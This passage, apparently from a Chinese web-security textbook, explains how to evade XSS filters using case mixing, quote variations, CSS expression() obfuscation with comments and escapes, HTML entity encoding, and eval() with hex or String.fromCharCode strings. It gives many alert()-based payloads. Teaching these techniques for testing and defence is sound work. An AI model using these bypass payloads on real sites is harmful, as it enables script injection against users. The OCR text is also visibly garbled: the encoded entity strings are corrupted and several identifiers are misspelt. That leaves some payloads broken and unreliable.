7)扰乱过滤规则
利用前面所述的各种技巧,包括HTML标签属性值、事件、CSS、编码技术等,用户能顺利
绕过XSS Filter的重重过滤。
程序员在汲取各种经验后,在开发过程中可能已经仔细考虑到各种触发XSS的情况,然后部署
好严谨的防御措施,如此一来, 系统也变得更加牢固、安全。但不要太自信,请继续看下面的示例:
一个正常的XSS输入:
<img src="javascript:alert(0);">
转换大小写后的XSS:
<IMG SRC="javascript:alert(0);">
大小写混淆的XSS:
<iMg sRC="jaVasCript:alert(0);">
不用双引号,而是使用单引号的XSS:
<img src='javascript:alert(0);'>
不使用引号的XSS:
<img src=javascript:alert(0) ;>
当利用expression执行跨站代码时,可以构造不同的全角字符来扰乱过滤规则:
<Xss STYLE="xss:expr E ssion(alert('XSs'))”>
<div style="{ 1eft:exp r es si 0 n(alert('xss'))}">
样式表中的/**/会被浏览器忽略,因此可以运用/**/来注释字符,通过插入混淆字符绕过过滤,
如:
<XSS STYLE="xss: expr/*XSS* /ession (alert('XSS')) ">
<div style="wid/****/th: expre/*Xss*/ssion (alert('XSS'));">
目前大多数过滤系统都采用黑名单式的过滤,用户可以结合使用注释字符干扰和欺骗过滤器,
测试用例如下:
<scriScriptpt>alert ('XSS')</script>
<img src="java/* /*javascript* /script/*javascript*/*/script:alert();" >
<img src="java/*script:alert() ;"><img src="javaa*/script:alert() ;">
<img src="java/*exp/**/script:alert() ;*/ression(alert(1))">
<img sty1e="width: exp/*ression(alert());" src="java/*exp/**/script:alert();*/ression .
(alert(1)) "> .
除了/**/外,样式标签中的\和结束符\0也是被浏览器忽略的,如:
@ \0im\port '\0ja\vasc\ript:alert("xss")';
@\i \0m\00p\000o\0000\00000r \000000t"url";
利用字符编码
字符编码在跨站脚本中经常运用到,透过这种技巧,不仅能让XSS代码绕过服务端的过滤,
还能更好地隐藏Shellcode.如前文所述,HTML标签中的某些属性值可以使用&#ASCII方式进行编码改写,
这种XSS转码支持十进制和十六进制形式。为了方便测试,我们接下来使用一一个XSS编码工具,
以便对字符串进行十进制和十六进制的编码解码,该工具还可以实现ESCAPE转码和解码。
以“<img src="javascript:alert('XSS);">”为例,它的属性值为:
javascript:alert('XSS');
进行十进制转码(&#)后得到:
javascript:alertƖ#39&#
88SS'Ơ#59
完整的XSS Expliot如下:
<img src="javascѺ#1056#112Ҏ#585#97lϸ#114t('XSS');">
还可以在每个十进制字符后加上;,或者采用�、 �、�、�、�、 �、
�、�
另外,在JavaScript中有- -一个eval)函数,该函数可计算字符串,并执行其中的JavaScript代码,
如下所示:
<script>
eval ("alert('XSS')");
</script>
我们可以使用\连接十六进制字符串,然后使用eval()函数执行十六进制字符串形式的脚本,如
对aler('XSS)进行十六进制转码后得到:
\61\6c\65\72\74\28\27\58\53\53\27\29
那么,完整的XSS代码为:
<script>
eval("\x61\x6c\x65\x72\x74\x28\x27\x58\x53\x53\x27\x29");
</script>
eval()也可以执行10进制形式的脚本,但需要配合String.fromCharCode()函 数使用。
string.formcharcode(用于将字符转为ASCII值,例如一个正常形式的XSS示例为:
<img src="javascript:eval (alert('XSS'))">
结合使用eval()和String.fromCharCode()函数后变成:
<img src="javascript :eval (String. fromCharCode (97, 108, 101,114, 116,40, 39, 88, 83,83,39,41))">